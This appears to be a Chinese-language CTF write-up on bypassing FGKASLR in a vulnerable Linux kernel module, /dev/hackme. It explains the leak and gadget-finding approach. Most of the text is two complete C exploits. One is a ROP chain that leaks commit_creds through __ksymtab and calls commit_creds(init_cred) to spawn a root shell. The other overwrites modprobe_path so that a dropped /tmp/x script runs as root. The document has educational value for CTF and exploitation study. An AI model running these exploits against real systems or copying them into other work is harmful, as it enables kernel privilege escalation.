本题说难不难,说简单不简单。说简单是因为题目就是一个简单的栈溢出读写,说难是因为不了解 FGKASLR 保护机制。
一开始没注意开了 FGKASLR,结果一直报错,然后在报错信息中发现其说我指定的 commit_creds 的地址不可执行,然后我才发现其开了 FGKASLR,即 commit_creds 会经过二次随机化,所以仅仅通过 kernel_offset 是无法直接泄漏 commit_creds 的地址的。
保护:开了 SMAP、SMEP、PTI、KASLR,经过测试开了 FGKASLR
每次检测读写大小的时候,都是检测的 hackme_buf
栈溢出读:
栈溢出写:
漏洞可以说是白给,想法也很简单,利用栈溢出读泄漏 kernel_offset,然后利用栈溢出写劫持程序执行流,但是由于开启了 FGKASLR,仅仅通过 kernel_offset 是无法直接得到 commit_creds 等函数的地址的。
经过测试 init_cred 和 swapgs_restore_regs_and_return_to_usermode 都没有被二次随机化,所以这里我的目标是执行 commit_creds(init_cred), 其中 swapgs_restore_regs_and_return_to_usermode 函数可以帮助我们返回 userland。
所以这里的难点就在于如何泄漏 commit_creds 的地址,并且如何找到一些没有被二次随机化过的 gadget,这里参考 CTF-WIKI FGKASLR - CTF Wiki
这里测试发现,__memcpy 和 modprobe_path 也没有被二次随机化,所以这里可以通过找到一些 gadget 直接打 modprobe_path 拿 flag
CTF-WIKI 中提到了利用 ksymtab 没有被二次随机化进行关键函数地址泄漏的方法,具体见CTF-WIKI 。 所以这里思路就很明显了,读取 __ksymtab_commit_creds 中的 value_offset 偏移从而泄漏 commit_creds。
那 gadget 怎么搞呢?注意,.text 节是不会被二次随机化的,所以可以在 .text 节寻找可用的 gadget:我们可以找到如下可用 gadgets
$ python3 find_gadget.py 0xffffffff81200000 | grep "mov" | grep "\[" | grep "ret"
0xffffffff81015a80 : mov eax, dword ptr [rax] ; pop rbp ; ret
$ python3 find_gadget.py 0xffffffff81200000 | grep "pop rax"
0xffffffff81004d11 : pop rax ; ret
exp 如下:注意编译时把优化关了,并关闭 Canary 保护,不然 rax 的值可能被修改,或者将一些数组操作单独放在一个函数中
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
exit(EXIT_SUCCESS);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
uint64_t check_leak(uint64_t addr)
{
if (addr < 0xffffffff81000000) return -1;
switch (addr&0xfff)
{
case 0x437:
return addr - 0xffffffff81b4c437;
case 0x8ef:
return addr - 0xffffffff818648ef;
case 0xd27:
return addr - 0xffffffff81476d27;
case 0x1a1:
return addr - 0xffffffff814ce1a1;
case 0xdda:
return addr - 0xffffffff81b9cdda;
case 0x08c:
return addr - 0xffffffff8120008c;
}
return -1;
}
size_t commit_creds;
size_t pop_rdi = 0xffffffff81006370; // pop rdi ; ret
size_t init_cred = 0xffffffff82060f20;
size_t kpti_swapgs = 0xFFFFFFFF81200F26;
size_t pop_rax = 0xffffffff81004d11; // pop rax ; ret
size_t mov_eax_rax = 0xffffffff81015a80; // mov eax, dword ptr [rax] ; pop rbp ; ret
size_t __ksymtab_commit_creds = 0xffffffff81f87d90;
size_t __ksymtab_prepare_kernel_cred = 0xffffffff81f8d4fc;
char buf[0x300];
int fd;
void get_commit_creds()
{
asm volatile(
"mov commit_creds, rax;"
);
commit_creds = (commit_creds & 0xffffffff) + __ksymtab_commit_creds - 4294967296;
hexx("commit_creds", commit_creds);
//Yes_I_love();
uint64_t rop[] = {
pop_rdi,
init_cred,
commit_creds,
kpti_swapgs,
0,
0,
get_root_shell,
user_cs,
user_rflags,
user_sp,
user_ss
};
memcpy(buf+0xa0, rop, sizeof(rop));
write(fd, buf, 0xa0+sizeof(rop));
puts("[+] I EXP Never END!");
}
void Yes_I_love()
{
uint64_t rop[] = {
pop_rdi,
init_cred,
commit_creds,
kpti_swapgs,
0,
0,
get_root_shell,
user_cs,
user_rflags,
user_sp,
user_ss
};
memcpy(buf+0xa0, rop, sizeof(rop));
write(fd, buf, 0xa0+sizeof(rop));
puts("[+] Y EXP Never END!");
}
int main(int argc, char** argv, char** env)
{
save_status();
uint64_t kernel_offset = -1;
fd = open("/dev/hackme", O_RDWR);
if (fd < 0) err_exit("FAILED to open dev file");
read(fd, buf, 0x1F8);
binary_dump("OOB DATA", buf, 0x1F8);
for (int i = 0; i < 0x1F8 / 8; i++)
{
kernel_offset = check_leak(*(uint64_t*)(buf+i*8));
if (kernel_offset != -1) break;
}
if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");
hexx("kernel_offset", kernel_offset);
uint64_t canary = *(uint64_t*)(buf+0x80);
hexx("canary", canary);
/*
0000 0xffff9b8bc7605020 0x0000000000000fe0 0x76c4af4e3185de00 0xffff9b8bc6881610 P`................1N..v........
0020 0xffffb7f6401c7e68 0x0000000000000004 0xffff9b8bc6881600 0xffffb7f6401c7ef0 h~.@.....................~.@....
0040 0xffff9b8bc6881600 0xffffb7f6401c7e80 0xffffffffbdc81697 0xffffffffbdc81697 .........~.@....................
0060 0xffff9b8bc6881600 0x0000000000000000 0x00007ffffdd66630 0xffffb7f6401c7ea0 ................0f.......~.@....
0080 0x76c4af4e3185de00 0x00000000000001f8 0x0000000000000000 0xffffb7f6401c7ed8 ...1N..v.................~.@....
00a0 0xffffffffbdc5a36f 0xffff9b8bc6881600 0xffff9b8bc6881600 0x00007ffffdd66630 o.......................0f......
00c0 0x00000000000001f8 0x0000000000000000 0xffffb7f6401c7f20 0xffffffffbdd5e457 ................ [email protected].......
00e0 0xffffffffbe133b71 0x0000000000000000 0x76c4af4e3185de00 0xffffb7f6401c7f58 q;.................1N..vX..@....
0100 0x0000000000000000 0x0000000000000000 0x0000000000000000 0xffffb7f6401c7f30 ........................0..@....
0120 0xffffffffbdad1d8a 0xffffb7f6401c7f48 0xffffffffbd60a157 0x0000000000000000 [email protected].`.............
0140 0x0000000000000000 0xffffffffbd80008c 0x0000000000000000 0x00000000004c3018 .........................0L.....
0160 0x0000000000000000 0x0000000000403980 0x00007ffffdd66840 0x0000000000400518 .........9@.....@h........@.....
0180 0x0000000000000246 0x0000000000000000 0x0000000000000009 0x000000000049b820 F....................... .I.....
01a0 0xffffffffffffffda 0x00000000004024c2 0x00000000000001f8 0x00007ffffdd66630 [email protected]......
01c0 0x0000000000000003 0x0000000000000000 0x00000000004024c2 0x0000000000000033 [email protected].......
01e0 0x0000000000000246 0x00007ffffdd665c8 0x000000000000002b
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
*/
pop_rdi += kernel_offset;
init_cred += kernel_offset;
kpti_swapgs += kernel_offset;
pop_rax += kernel_offset;
mov_eax_rax += kernel_offset;
__ksymtab_commit_creds += kernel_offset;
__ksymtab_prepare_kernel_cred += kernel_offset;
hexx("__ksymtab_commit_creds", __ksymtab_commit_creds);
hexx("__ksymtab_prepare_kernel_cred", __ksymtab_prepare_kernel_cred);
hexx("kpti_swapgs", kpti_swapgs);
hexx("init_cred", init_cred);
uint64_t rop[] = {
pop_rax,
__ksymtab_commit_creds,
mov_eax_rax,
0,
kpti_swapgs,
0,
0,
get_commit_creds,
user_cs,
user_rflags,
user_sp,
user_ss
};
binary_dump("ROP", rop, sizeof(rop));
memcpy(buf+0xa0, rop, sizeof(rop));
write(fd, buf, 0xA0+sizeof(rop));
puts("[+] Never END!");
return 0;
}
上面说了 __memcpy 地址并没有被二次随机化,并且 modprobe_path 也没有二次随机化,所以如果可以找到一些控制 rdi/rsi/rdx 的寄存器就可以劫持程序执行 __memcpy(modprobe_path, target, size) 去修改 modprobe_path。
注意这里开启了 smap,所以 target 得是内核空间的地址,本题中就只有栈了,所以我们得从栈上看看有没有数据能够泄漏栈地址。
但是这种方式并不好,因为当控制程序执行流后一些寄存器的值可能已经被修改,这时候完整的执行一次 __memcpy可能会出现错误(好吧,不装了,就是因为我这里调试不方便,然后不知道咋泄漏栈地址,乐)。所以我们可以尝试在 .text 节去寻找一些有用的 gadget,最后我成功找到如下 gadgets:利用这两条 gadget 就可以去修改 modprobe_path 了
ffffffff810159c8: mov dword ptr [rax], ecx ; pop rbp ; ret
ffffffff81004a91: pop rcx ; pop rax ; pop rbp ; ret
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
exit(EXIT_SUCCESS);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
uint64_t check_leak(uint64_t addr)
{
if (addr < 0xffffffff81000000) return -1;
switch (addr&0xfff)
{
case 0x437:
return addr - 0xffffffff81b4c437;
case 0x8ef:
return addr - 0xffffffff818648ef;
case 0xd27:
return addr - 0xffffffff81476d27;
case 0x1a1:
return addr - 0xffffffff814ce1a1;
case 0xdda:
return addr - 0xffffffff81b9cdda;
case 0x08c:
return addr - 0xffffffff8120008c;
}
return -1;
}
size_t modprobe_path = 0xffffffff82061820;
size_t kpti_swapgs = 0xFFFFFFFF81200F26;
size_t mov_rax_ecx = 0xffffffff810159c8; // mov dword ptr [rax], ecx ; pop rbp ; ret
size_t pop_rcx_rax_rbp = 0xffffffff81004a91; // pop rcx ; pop rax ; pop rbp ; ret
char buf[0x300];
int fd;
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /dev/sda' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /dev/sda");
exit(0);
}
int main(int argc, char** argv, char** env)
{
save_status();
uint64_t kernel_offset = -1;
fd = open("/dev/hackme", O_RDWR);
if (fd < 0) err_exit("FAILED to open dev file");
read(fd, buf, 0x1F8);
binary_dump("OOB DATA", buf, 0x1F8);
for (int i = 0; i < 0x1F8 / 8; i++)
{
kernel_offset = check_leak(*(uint64_t*)(buf+i*8));
if (kernel_offset != -1) break;
}
if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");
hexx("kernel_offset", kernel_offset);
mov_rax_ecx += kernel_offset;
pop_rcx_rax_rbp += kernel_offset;
modprobe_path += kernel_offset;
kpti_swapgs += kernel_offset;
hexx("kpti_swapgs", kpti_swapgs);
hexx("modprobe_path", modprobe_path);
uint64_t rop[] = {
pop_rcx_rax_rbp,
0x706d742f,
modprobe_path,
0,
mov_rax_ecx,
0,
pop_rcx_rax_rbp,
0x782f,
modprobe_path+4,
0,
mov_rax_ecx,
0,
kpti_swapgs,
0,
0,
get_flag,
user_cs,
user_rflags,
user_sp,
user_ss
};
binary_dump("ROP", rop, sizeof(rop));
memcpy(buf+0xa0, rop, sizeof(rop));
write(fd, buf, 0xA0+sizeof(rop));
puts("[+] Never END!");
return 0;
}
效果如下:
马后炮发言:在了解完 FG-KASLR 的绕过之后,其实可以发现其也不难,就是泄漏 commit_creds 等函数地址的时候多了一层,并且可用的 gadget 减少了。
但是我个人认为这个保护还是比较有用的,因为在一些复杂的漏洞利用中并不会像这个题目这样拥有这么好品相的洞的。